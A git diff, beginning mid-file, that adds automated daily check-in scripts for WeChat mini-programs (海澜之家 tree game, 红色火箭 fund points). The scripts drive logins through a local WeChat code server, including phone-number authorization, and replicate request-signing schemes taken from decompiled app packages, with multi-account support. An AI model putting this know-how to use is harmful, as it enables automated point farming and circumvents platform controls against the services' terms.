""; + } + if (!this.token) await this.login(); + } + + async queryUser(needLog = true) { + if (!EP_USER) return true; + const res = await this.request(EP_USER, {}, true, "GET", null, null); + if (!isOk(res)) { + if (needLog) this.log(`读取资料失败: ${msgOf(res)}`); + return false; + } + // 有的家没有 data/body 包装,响应体本身就是数据(zippo 的 profile 就是) + const d = res.data || res.datas || res.body || res || {}; + if (needLog) { + const bits = []; + for (const k of ["nickname", "nickName", "name", "memberId", "integral", "points", + "point", "score", "credits", "balance", "coin", "amount"]) { + if (d && d[k] !== undefined && d[k] !== null && d[k] !== "") bits.push(`${k}=${d[k]}`); + } + this.log(`会员: ${bits.join(" ") || short(d, 120)}`); + } + return true; + } + + async sign(retry = true) { + const res = await this.request(EP_SIGN, {}, true, "POST", { isUseNewLogic: 1 }, null); + if (isOk(res)) return this.log("✅ 签到成功"); + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (isNotRegistered(msgOf(res))) { + return this.log(`⚠️ ${msgOf(res)} —— 该微信号还没在该平台注册会员,先在小程序里注册一次再跑`); + } + if (retry && isAuthError(msgOf(res))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.queryUser(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/hlzj.js b/wxapp/hlzj.js new file mode 100644 index 00000000..076566ed --- /dev/null +++ b/wxapp/hlzj.js @@ -0,0 +1,274 @@ +/* +------------------------------------------ +@Description: 海澜之家(种树游戏) - 微信小程序静默登录 + 每日签到 +cron: 20 8 * * * +------------------------------------------ +变量名:hlzj +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +hlzj_invite 可选,authorized-login 的 invite_user_id(邀请人),默认空 +------------------------------------------ +契约(appid wx315431cc3b5e930f,业务 gmdevpro.hlzjppgl.cn): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +签名(POST 体):body 加 {nonce(20位混合),timestamp(ms字符串), + sign = md5("ff"+nonce+"nn"+timestamp+userId+"mm")};userId=登录拿到的游戏用户id,登录时为空 +换unionId POST https://wxa-tp.ezrpro.com/myvip/Base/User/WxAppOnLoginNew + body {code(smallcat新鲜code,仅此一次code2session),CommonIdType:"",CommonId:"", + ShopId:0,CommonIdSource:0,Latitude:0,Longitude:0,PingId,PingDate} + 头 ezr-sp:2 / ezr-source:weapp / ezr-brand-id:5896 / ezr-client-name / Referer + -> Success==true,Result.UnionId(服务端做的 code->session,非老式encryptedData解密) +登录 POST /server/api/authorized-login {union_id,invite_user_id}(带签名,头不带token) + -> code==200,data.token / data.user_info.id(=userId) / data.user_info.tree_id +状态 POST /server/api/day-list {} 头 Authorization:Bearer -> code==200,data.day_sign_status(true=已签) +签到 POST /server/api/day-sign {} -> code==200,data.water_num / data.day_sign_list.day_num +额外 POST /server/api/user/get-today-water {}(每日电力奖励,best-effort 非致命) +ezr-brand-id、CONVERT_URL、BASE_URL 均为该小程序固定应用常量(非个人凭证)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("海澜之家签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "hlzj"; +const MINI_APP_ID = "wx315431cc3b5e930f"; +const EZR_BRAND_ID = "5896"; +const CONVERT_URL = "https://wxa-tp.ezrpro.com/myvip/Base/User/WxAppOnLoginNew"; +const CONVERT_HOST = "wxa-tp.ezrpro.com"; +const BASE_URL = "https://gmdevpro.hlzjppgl.cn"; +const BIZ_HOST = "gmdevpro.hlzjppgl.cn"; +const INVITE_ID = process.env.hlzj_invite || ""; +const TOKEN_CACHE_FILE = path.join(__dirname, "hlzj_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/server/api/authorized-login"; +const EP_DAY_LIST = "/server/api/day-list"; +const EP_DAY_SIGN = "/server/api/day-sign"; +const EP_TODAY_WATER = "/server/api/user/get-today-water"; + +const SIGNATURE_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 220) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function md5(str) { + return crypto.createHash("md5").update(String(str), "utf8").digest("hex"); +} +function randChars(len) { + let s = ""; + for (let i = 0; i < len; i++) s += SIGNATURE_CHARS[Math.floor(Math.random() * SIGNATURE_CHARS.length)]; + return s; +} +function getPingDate() { + const d = new Date(); + const pad = (n) => n.toString().padStart(2, "0"); + return `${d.getFullYear()}-${pad(d.getMonth() + 1)}-${pad(d.getDate())} ${pad(d.getHours())}:${pad(d.getMinutes())}:${pad(d.getSeconds())}`; +} +// 业务签名体:md5("ff"+nonce+"nn"+timestamp+userId+"mm") +function createSignedBody(data, userId) { + const nonce = randChars(20); + const timestamp = Date.now().toString(); + return { ...data, nonce, timestamp, sign: md5(`ff${nonce}nn${timestamp}${userId || ""}mm`) }; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.unionId = ""; + this.userId = ""; + this.treeId = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + // 用新鲜 code 走厂商服务端 code->session 换取 unionId(非老式 encryptedData 解密) + async convertCodeToUnion(code) { + const headers = { + Host: CONVERT_HOST, + "Content-Type": "application/json", + "ezr-sp": "2", + "ezr-source": "weapp", + "ezr-brand-id": EZR_BRAND_ID, + "uber-trace-id": `${randChars(16)}:${randChars(16)}:0:1`, + "ezr-client-name": "EZR.FE.MultiMall.Mini", + Referer: `https://servicewechat.com/${MINI_APP_ID}/38/page-frame.html`, + "User-Agent": UA, + "Accept-Encoding": "gzip, deflate, br", + charset: "utf-8", + }; + const payload = { + code, CommonIdType: "", CommonId: "", ShopId: 0, CommonIdSource: 0, + Latitude: 0, Longitude: 0, PingId: randChars(32), PingDate: getPingDate(), + }; + const res = await axios.request({ method: "POST", url: CONVERT_URL, data: payload, headers, timeout: 20000, validateStatus: () => true }); + const data = res.data || {}; + if (!data.Success) throw new Error(`code换unionId失败: ${data.Msg || short(data)}`); + const r = data.Result || {}; + if (!r.UnionId) throw new Error(`code换unionId未返回UnionId: ${short(data)}`); + return String(r.UnionId); + } + async bizRequest(apiPath, bodyData = {}, { delToken = false } = {}) { + const headers = { + Host: BIZ_HOST, + "Content-Type": "application/json", + Accept: "*/*", + Origin: BASE_URL, + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "User-Agent": UA, + Referer: `https://servicewechat.com/${MINI_APP_ID}/38/page-frame.html`, + }; + if (!delToken && this.token) headers.Authorization = `Bearer ${this.token}`; + const data = createSignedBody(bodyData, this.userId || ""); + const res = await axios.request({ method: "POST", url: `${BASE_URL}${apiPath}`, data, headers, timeout: 20000, validateStatus: () => true }); + return res.data || {}; + } + isAuthErr(resp) { + const code = Number(resp && resp.code); + const msg = String((resp && (resp.message || resp.msg)) || ""); + if ([309, 401, 403, 4001, 4003].includes(code)) return true; + return /token|登录|未授权|失效|过期|未登录|鉴权|授权|会话/i.test(msg); + } + // day-sign 门禁:登录只拿到游客身份,未注册商城会员/未绑定手机号则签不了 + isUnregistered(msg) { + return /未注册.*会员|注册商城会员|绑定手机号|未绑定手机|未激活|请先.*绑定|请先.*注册/.test(String(msg)); + } + async login() { + const code = await this.getCode(); + this.unionId = await this.convertCodeToUnion(code); + this.log(`换取 unionId 成功: ${this.unionId.slice(0, 6)}...`); + this.userId = ""; // 登录请求以空 userId 签名 + const res = await this.bizRequest(EP_LOGIN, { union_id: this.unionId, invite_user_id: INVITE_ID }, { delToken: true }); + if (Number(res.code) !== 200) { + const msg = res.message || res.msg || short(res); + if (/注册|未激活|会员|绑定/.test(String(msg))) { this.unregistered = true; throw new Error(`NO_ACCOUNT:${msg}`); } + throw new Error(`授权登录失败: ${msg}`); + } + const d = res.data || {}; + const info = d.user_info || {}; + this.token = String(d.token || ""); + this.userId = info.id !== undefined && info.id !== null ? String(info.id) : ""; + this.treeId = info.tree_id !== undefined && info.tree_id !== null ? String(info.tree_id) : ""; + if (!this.token || !this.userId) throw new Error(`授权登录未返回token/userId: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, unionId: this.unionId, userId: this.userId, treeId: this.treeId, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${info.nick_name ? `(${info.nick_name})` : ""}`); + } + async claimWater() { + // 每日电力奖励,best-effort,不影响签到判定 + try { + const res = await this.bizRequest(EP_TODAY_WATER, {}); + if (Number(res.code) === 200 && res.data) { + this.log(`🎁 已领取今日电力:${res.data.get_water ?? "?"}`); + } + } catch (e) { /* ignore */ } + } + async sign(retry = true) { + const list = await this.bizRequest(EP_DAY_LIST, {}); + if (Number(list.code) === 200) { + if (list.data && list.data.day_sign_status) { + await this.claimWater(); + return this.log("✅ 今日已签到"); + } + } else if (this.isUnregistered(list.message || list.msg)) { + this.unregistered = true; + throw new Error(`NO_ACCOUNT:${list.message || list.msg}`); + } else if (retry && this.isAuthErr(list)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; this.userId = ""; + await this.login(); + return this.sign(false); + } else if (Number(list.code) !== 200) { + this.log(`day-list 返回异常,仍尝试签到: ${short(list)}`); + } + + const res = await this.bizRequest(EP_DAY_SIGN, {}); + if (Number(res.code) === 200) { + const d = res.data || {}; + const days = (d.day_sign_list && d.day_sign_list.day_num) ?? "?"; + await this.claimWater(); + return this.log(`✅ 签到成功,电力+${d.water_num ?? "?"},已连续签到 ${days} 天`); + } + const msg = res.message || res.msg || short(res); + if (/已签|签到过|重复|已完成/.test(String(msg))) { await this.claimWater(); return this.log(`✅ 今日已签到(${msg})`); } + if (this.isUnregistered(msg)) { this.unregistered = true; throw new Error(`NO_ACCOUNT:${msg}`); } + if (retry && this.isAuthErr(res)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; this.userId = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msg}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + this.unionId = cached.unionId || ""; + this.userId = cached.userId || ""; + this.treeId = cached.treeId || ""; + this.log("使用缓存token"); + return; + } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log(`⚠️ 该微信号还没在海澜之家注册/激活(${String(e.message).replace(/^NO_ACCOUNT:/, "")}),先在小程序里登录一次再跑`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/hongsehuojian.py b/wxapp/hongsehuojian.py new file mode 100644 index 00000000..7b27d891 --- /dev/null +++ b/wxapp/hongsehuojian.py @@ -0,0 +1,572 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# 红色火箭(华夏基金) - 每日签到得积分 +# 入口: 微信小程序「红色火箭」-> 积分中心 -> 签到 +# 说明: 通过 wx_server(smallcat) 用 openid 自动登录, 完成每日签到 +# 账号变量名:hshj (填写 wx_server 中的 openid, 多账号用换行或 & 分割, 可选 #备注) +# 需要配置 wx_server_url、wx_auth +# 可选变量: +# hshj_ticket 手动 ticket, 格式 token 或 token#userId, 多账号用换行/& 分割(按账号顺序) +# hshj_phone_login 是否允许用 /wx/getphonenumber 自动登录, 默认 1(开启), 置 0 关闭 +# hshj_ver miniProgram.version, 默认 1.46.0 +#new Env("红色火箭签到") +#cron 25 8 * * * +# +# --------------------------------------------------------------------------- +# 接口契约(全部逆自反编译包 wx1b44c3ad181bde16 主包, 已逐行核对) +# base: https://index.amcfortune.com common/vendor.js:6290 (模块 6c8e) +# 固定请求头: ticket / Bank-Type:main / pro / ver / pla / register_channel / +# click_id / user_id / mini_program:wechat vendor.js:6292-6301 +# pro = "RedRocket"(本 appid) 或 "RedRocket-Pro" vendor.js:12074 setupPlatform +# pla = rr_iphone / rr_Android / rr_ vendor.js:12070 +# ver = getAccountInfoSync().miniProgram.version, 空则 "1.46.0" +# user_id= 有 ticket 时才带 vendor.js:6300 +# GET : 自动追加 query key=Date.now() vendor.js:6289 +# POST: 追加请求头 nonce / timestamp / signature / +# key_version / openid vendor.js:6302-6308 +# 签名(模块 b633, vendor.js:9643-9666 + 9760 c()): +# t = {...body}; t.nonce ?= nonce; t.timestamp ?= timestamp; +# t.appSecret = state.encryptKey; if (ticket!=null) t.ticket = ticket +# raw = 键名升序 "k=v&" 拼接后去掉末尾 "&" (值为对象时 JSON.stringify) +# signature = Base64(md5_hex_lowercase(utf8(raw))) +# md5 : 模块 80d8 blueimp, h() 用 "0123456789abcdef" 小写十六进制, +# g()=unescape(encodeURIComponent()) 即 UTF-8 vendor.js:6960-7000 +# Base64: 模块 b633 u.encode, 标准字母表 + "=" 补位 vendor.js:9720-9737 +# appSecret = wx.getUserCryptoManager().getLatestUserKey().encryptKey +# -> smallcat POST /wx/encryptkey 的 data.encrypt_key +# key_version = 同一响应的 data.version +# 响应码(vendor.js:6341-6371): 0/200 成功; 7006 -> 重取 secure_path 加密列表; +# 7005 -> 刷新用户 key 后重试一次; 407 -> ticket 失效, 清空 ticket/userId +# 端点(模块 86ff): +# POST /fundex-uc/uc/v1/getWxOpenIdAndUnionId {code} -> data.openId/unionId +# vendor.js:10228 +# POST /fundex-uc/uc/v1/login {...} -> data.token(=ticket) +# components/loginBtns/loginBtns.js:176 +# POST /fundex-uc/uc/v1/getTokenStatus {token,source} data.status=="0" 有效, +# data.newToken 轮换 +# vendor.js:11959 +# GET /fundex-activity/point/sign/getSignDays vendor.js:7470 +# POST /fundex-activity/point/sign/userSignIn vendor.js:7544 +# GET /fundex-activity/point/account/getTotalPoint vendor.js:7494 (silent) +# userSignIn 不在加密列表内(secure_path 实测只含 redPacket/exchangeRedPacket、 +# watchWordCustom/doExchange、point/task/completeTaskV3), 故明文 body。 +# +# 已知限制(如实说明, 不猜接口): +# 1. 签到页 pages_detail/ 在分包内, smallcat /wx/downloadurl 按文档只返回主包, +# 分包 js 解包为空壳, 因此 getSignDays / userSignIn 的**业务入参无法从源码还原**。 +# 本脚本按「无额外入参」发送(GET 只带 key, POST 送 {}), 并在拿到 getSignDays +# 响应后把其中的 activityNo/activityId 等活动标识透传给 userSignIn(存在才带), +# 不构造任何源码里没有的字段。 +# 2. 全包唯一发 ticket 的入口是 /fundex-uc/uc/v1/login, 且只接受 +# wx.getPhoneNumber 的 code。实测服务端对本账号返回 +# loginStatus=fail / loginDesc=用户登录失败(已试过 isAuthorized、去 +# registerChannel、先建运行时会话、appSecret 冷启动态等多种忠实复刻), +# 属服务端注册/风控策略, 不做绕过。若遇此情况请先在小程序内手动登录一次, +# 或把 App 内已登录的 token 填到 hshj_ticket 变量。 +# --------------------------------------------------------------------------- + +import base64 +import hashlib +import json +import os +import random +import sys +import time +from pathlib import Path + +import requests + +if hasattr(sys.stdout, "reconfigure"): + sys.stdout.reconfigure(encoding="utf-8", errors="replace") +if hasattr(sys.stderr, "reconfigure"): + sys.stderr.reconfigure(encoding="utf-8", errors="replace") + +try: + from notify import send +except Exception: + def send(title, content): + print(f"\n===== {title} =====\n{content}") + +# --------------------------------------------------------------------------- +# 常量 (均来自反编译源码, 非机密) +# --------------------------------------------------------------------------- +MINI_APP_ID = "wx1b44c3ad181bde16" +BASE_URL = "https://index.amcfortune.com" +PRO = "RedRocket" +PLA = "rr_Android" +AGREEMENT = "阅读并同意用户协议、隐私政策,未注册的手机号认证后自动创建新账户" + +EP_OPENID = "/fundex-uc/uc/v1/getWxOpenIdAndUnionId" +EP_LOGIN = "/fundex-uc/uc/v1/login" +EP_TOKEN_STATUS = "/fundex-uc/uc/v1/getTokenStatus" +EP_SIGN_DAYS = "/fundex-activity/point/sign/getSignDays" +EP_SIGN_RECORD = "/fundex-activity/point/sign/getRecordList" +EP_SIGN_IN = "/fundex-activity/point/sign/userSignIn" +EP_TOTAL_POINT = "/fundex-activity/point/account/getTotalPoint" + +# smallcat / wx_server 配置 (机密, 只从环境变量读取) +WX_SERVER_URL = os.getenv("wx_server_url", "http://192.168.31.196:8787").rstrip("/") +WX_AUTH = os.getenv("wx_auth", "") +VERSION = os.getenv("hshj_ver", "1.46.0") +ALLOW_PHONE_LOGIN = os.getenv("hshj_phone_login", "1").strip().lower() not in ("0", "false", "no") + +TOKEN_CACHE_PATH = Path(__file__).with_name("hongsehuojian_token_cache.json") + +session = requests.Session() + + +# --------------------------------------------------------------------------- +# 工具 +# --------------------------------------------------------------------------- +def mask(value): + if not value: + return "" + value = str(value) + if len(value) <= 10: + return value[:2] + "***" + return f"{value[:4]}***{value[-4:]}" + + +def js_str(value): + """复刻 JS 的字符串拼接语义, 保证签名串与小程序完全一致。""" + if value is True: + return "true" + if value is False: + return "false" + if value is None: + return "null" + if isinstance(value, dict): + # 源码: Object.prototype.toString.call(v) === "[object Object]" 时用 JSON.stringify + return json.dumps(value, separators=(",", ":"), ensure_ascii=False) + if isinstance(value, (list, tuple)): + # JS 里数组走 "" + arr, 等价于 join(",") + return ",".join(js_str(x) for x in value) + return str(value) + + +def make_signature(body, nonce, timestamp, app_secret, ticket=None): + """signature = Base64(md5_hex_lowercase(sorted "k=v&" join)) (vendor.js 模块 b633)""" + fields = dict(body or {}) + fields.setdefault("nonce", nonce) + fields.setdefault("timestamp", timestamp) + fields["appSecret"] = app_secret + if ticket is not None: + fields["ticket"] = ticket + raw = "".join(f"{k}={js_str(fields[k])}&" for k in sorted(fields.keys()))[:-1] + digest = hashlib.md5(raw.encode("utf-8")).hexdigest() + return base64.b64encode(digest.encode("utf-8")).decode("utf-8") + + +def make_nonce(): + # 源码: "" + (1e6*Math.random()).toFixed(0) + (1e6*Math.random()).toFixed(0) + return f"{random.randint(0, 1000000)}{random.randint(0, 1000000)}" + + +def read_token_cache(): + try: + if not TOKEN_CACHE_PATH.exists(): + return {} + return json.loads(TOKEN_CACHE_PATH.read_text(encoding="utf-8")) or {} + except Exception: + return {} + + +def write_token_cache(cache): + try: + TOKEN_CACHE_PATH.write_text( + json.dumps(cache, ensure_ascii=False, indent=2), encoding="utf-8" + ) + except Exception as e: + print(f"⚠️ 写入token缓存失败: {e}") + + +# --------------------------------------------------------------------------- +# smallcat +# --------------------------------------------------------------------------- +def smallcat(endpoint, account_id): + if not WX_AUTH: + raise RuntimeError("缺少 wx_auth, 无法调用 wx_server") + headers = {"Accept": "application/json", "Content-Type": "application/json", "auth": WX_AUTH} + body = json.dumps({"appid": MINI_APP_ID, "openid": account_id}) + resp = session.post(f"{WX_SERVER_URL}{endpoint}", data=body, headers=headers, timeout=60) + resp.raise_for_status() + return resp.json() + + +def get_code(account_id, endpoint="/wx/code"): + """smallcat 偶发 "获取失败"(运行时会话抖动), 刷新会话后间隔重试。""" + last_msg = "" + for attempt in range(4): + if attempt: + try: + smallcat("/wx/refresh", account_id) + except Exception: + pass + time.sleep(3) + data = smallcat(endpoint, account_id) + if isinstance(data, dict) and data.get("status") is False: + last_msg = data.get("message") or "获取失败" + continue + code = data.get("code") or (data.get("data") or {}).get("code") + if code: + return code + last_msg = "wx_server 未返回 code" + raise RuntimeError(f"wx_server {endpoint} 失败(已重试): {last_msg}") + + +def get_encrypt_key(account_id): + data = (smallcat("/wx/encryptkey", account_id).get("data") or {}) + return data.get("encrypt_key"), data.get("version") + + +# --------------------------------------------------------------------------- +# 红色火箭 客户端 +# --------------------------------------------------------------------------- +class RedRocket: + def __init__(self, account_id, index): + self.account_id = account_id + self.index = index + self.ticket = "" + self.user_id = "" + self.openid = "" + self.unionid = "" + self.encrypt_key = None + self.encrypt_ver = None + + # -- 传输层 ---------------------------------------------------------- + def request(self, path, data=None, method="POST", _retried=False): + data = dict(data or {}) + headers = { + "ticket": self.ticket or "", + "Bank-Type": "main", + "pro": PRO, + "ver": VERSION, + "pla": PLA, + "register_channel": "", + "click_id": "", + "user_id": self.user_id if self.ticket else "", + "mini_program": "wechat", + "content-type": "application/json", + } + url = f"{BASE_URL}{path}" + if method.upper() == "GET": + data["key"] = int(time.time() * 1000) + resp = session.get(url, params=data, headers=headers, timeout=60) + else: + nonce = make_nonce() + timestamp = str(int(time.time() * 1000)) + headers.update({ + "nonce": nonce, + "timestamp": timestamp, + "signature": make_signature(data, nonce, timestamp, self.encrypt_key, + self.ticket if self.ticket else None), + "key_version": js_str(self.encrypt_ver), + "openid": self.openid or "", + }) + resp = session.post( + url, + data=json.dumps(data, separators=(",", ":"), ensure_ascii=False).encode("utf-8"), + headers=headers, + timeout=60, + ) + resp.raise_for_status() + resp.encoding = "utf-8" + result = resp.json() + + code = str(result.get("code", "")) + if code == "7005" and not _retried: + # 用户加密 key 过期 -> 刷新后重试一次 (vendor.js:6358) + self.encrypt_key, self.encrypt_ver = get_encrypt_key(self.account_id) + return self.request(path, data, method, _retried=True) + if code == "7006": + # 服务端要求重取加密路径清单; 本脚本不走加密体, 仅记录 + print(f" ⚠️ 服务端返回 7006(加密清单变更): {result.get('msg') or result.get('message')}") + if code == "407": + self.ticket = "" + self.user_id = "" + self.forget_ticket() + raise RuntimeError("ticket 已失效(407), 需重新登录") + return result + + @staticmethod + def ok(result): + return str(result.get("code", "")) in ("0", "200") + + @staticmethod + def err(result): + return result.get("msg") or result.get("message") or json.dumps(result, ensure_ascii=False)[:200] + + # -- 缓存 ------------------------------------------------------------ + def load_cache(self): + entry = read_token_cache().get(self.account_id) or {} + self.ticket = entry.get("ticket") or "" + self.user_id = str(entry.get("userId") or "") + return bool(self.ticket) + + def save_cache(self): + cache = read_token_cache() + cache[self.account_id] = { + "ticket": self.ticket, + "userId": self.user_id, + "openId": self.openid, + "updatedAt": int(time.time()), + } + write_token_cache(cache) + + def forget_ticket(self): + cache = read_token_cache() + if self.account_id in cache: + del cache[self.account_id] + write_token_cache(cache) + + # -- 登录 ------------------------------------------------------------ + def resolve_openid(self): + """wx.login code -> openId / unionId (小程序 store 的 openid, 非 wx_server 的 openid)。""" + code = get_code(self.account_id) + result = self.request(EP_OPENID, {"code": code}) + if not self.ok(result): + raise RuntimeError(f"获取 openId 失败: {self.err(result)}") + data = result.get("data") or {} + self.openid = data.get("openId") or "" + self.unionid = data.get("unionId") or "" + if not self.openid: + raise RuntimeError(f"响应未包含 openId: {self.err(result)}") + + def check_ticket(self): + """POST getTokenStatus: data.status=="0" 有效; newToken 需轮换。""" + try: + result = self.request(EP_TOKEN_STATUS, + {"token": self.ticket, "source": "miniProgram"}) + except Exception as e: + print(f" 校验 ticket 异常: {e}") + return False + if not self.ok(result): + return False + data = result.get("data") or {} + if str(data.get("status", "")) != "0": + return False + if data.get("newToken"): + self.ticket = data["newToken"] + print(" ticket 已轮换") + if data.get("userId"): + self.user_id = str(data["userId"]) + self.save_cache() + return True + + def login_by_phone(self): + """唯一发 ticket 的入口, 需 wx.getPhoneNumber 的 code (用户已明确授权)。""" + phone_code = get_code(self.account_id, "/wx/getphonenumber") + body = { + "loginWay": "miniprogram", + "platform": "mini_fundex", + "code": phone_code, + "openId": self.openid, + "unionId": self.unionid, + "signAgreement": AGREEMENT, + "registerChannel": "", + } + result = self.request(EP_LOGIN, body) + data = result.get("data") or {} + if str(data.get("loginStatus", "")).lower() != "success": + raise RuntimeError(data.get("loginDesc") or self.err(result)) + self.ticket = data.get("token") or "" + self.user_id = str(data.get("userId") or "") + if not self.ticket: + raise RuntimeError("登录成功但未返回 token") + self.save_cache() + return data.get("isRegister") + + # -- 签到 ------------------------------------------------------------ + def get_sign_days(self): + """查询签到日历。 + + 实测 `point/sign/getSignDays` 需要一个只存在于分包里的业务入参, 不带参 + 时服务端直接 500(`{"msg":"系统异常","data":{"cause":"cause null"}}`); + 而 `point/sign/getRecordList`(源码里的 homeQuery) 无参即可返回完整日历, + 且带服务端当天日期, 因此改用后者判定「今日是否已签」。 + """ + result = self.request(EP_SIGN_RECORD, {}, "GET") + if not self.ok(result): + raise RuntimeError(f"查询签到状态失败: {self.err(result)}") + return result.get("data") + + @staticmethod + def parse_sign_state(data): + """从 getRecordList 响应里提取「今日是否已签」、连续天数与今日积分。 + + 实测响应形状: + {"continuousDays": 0, "today": "2026-08-16", + "signRecordList": [{"signDate": "2026-08-16", "point": 2, + "signIn": false, "iconType": "5", + "inflateDay": false}, ...]} + 以服务端 `today` 为准(不用本机时区)在 signRecordList 里找当天那条; + 读不到时返回 signed=None, 交由上层直接提交签到。 + """ + signed, days, today_point = None, None, None + if isinstance(data, dict): + days = data.get("continuousDays") + today = data.get("today") + records = data.get("signRecordList") + if isinstance(records, list): + for item in records: + if not isinstance(item, dict): + continue + if today and item.get("signDate") != today: + continue + value = item.get("signIn") + if isinstance(value, bool): + signed = value + elif isinstance(value, (int, str)) and str(value) in ("0", "1"): + signed = str(value) == "1" + today_point = item.get("point") + break + return signed, days, today_point + + def sign_in(self): + """POST point/sign/userSignIn。空 body: 全包无任何 activityNo/activityId, + 用户身份完全由 ticket 头承载。""" + result = self.request(EP_SIGN_IN, {}) + return self.ok(result), result + + def total_point(self): + try: + result = self.request(EP_TOTAL_POINT, {}, "GET") + if self.ok(result): + data = result.get("data") + if isinstance(data, dict): + for key in ("totalPoint", "total", "point", "points", "balance"): + if data.get(key) is not None: + return data[key] + return json.dumps(data, ensure_ascii=False)[:120] + return data + except Exception as e: + print(f" 查询积分异常: {e}") + return None + + +# --------------------------------------------------------------------------- +# 主流程 (每账号一次幂等签到) +# --------------------------------------------------------------------------- +def ensure_ticket(client, manual_ticket): + if manual_ticket: + token, _, uid = manual_ticket.partition("#") + client.ticket = token.strip() + client.user_id = uid.strip() + print(f"账号 {client.index} 使用手动 ticket: {mask(client.ticket)}") + if client.check_ticket(): + return True + print(f"账号 {client.index} 手动 ticket 校验未通过, 继续尝试其他方式") + client.ticket, client.user_id = "", "" + + if client.load_cache(): + print(f"账号 {client.index} 使用缓存 ticket: {mask(client.ticket)}") + if client.check_ticket(): + return True + print(f"账号 {client.index} 缓存 ticket 失效") + client.ticket, client.user_id = "", "" + client.forget_ticket() + + if not ALLOW_PHONE_LOGIN: + raise RuntimeError("无可用 ticket, 且 hshj_phone_login=0 已关闭手机号登录") + + is_register = client.login_by_phone() + print(f"账号 {client.index} 登录成功: userId={client.user_id} " + f"{'(首次注册)' if str(is_register) == '1' else ''}") + return True + + +def run_account(account_id, index): + lines = [f"【账号 {index}】"] + client = RedRocket(account_id, index) + + client.encrypt_key, client.encrypt_ver = get_encrypt_key(account_id) + if not client.encrypt_key: + raise RuntimeError("wx_server 未返回 encrypt_key, 无法签名") + client.resolve_openid() + + manual = MANUAL_TICKETS[index - 1] if index - 1 < len(MANUAL_TICKETS) else "" + ensure_ticket(client, manual) + + state = client.get_sign_days() + signed, days, today_point = RedRocket.parse_sign_state(state) + print(f"账号 {index} 签到状态: 今日已签={signed} 连续天数={days} 今日可得={today_point}") + + if signed is True: + # 幂等优先: 已签则不再提交, 但仍汇报积分余额 + msg = f"今日已签到{f', 连续 {days} 天' if days is not None else ''}" + print(f"✅ 账号 {index} {msg}") + lines.append(f"✅ {msg}") + succeeded = True + else: + ok, result = client.sign_in() + if ok: + msg = "签到成功" + data = result.get("data") + gained = None + if isinstance(data, dict): + gained = data.get("point") or data.get("points") or data.get("addPoint") + gained = gained or today_point + if gained: + msg += f", +{gained} 积分" + print(f"🎉 账号 {index} {msg}") + lines.append(f"🎉 {msg}") + 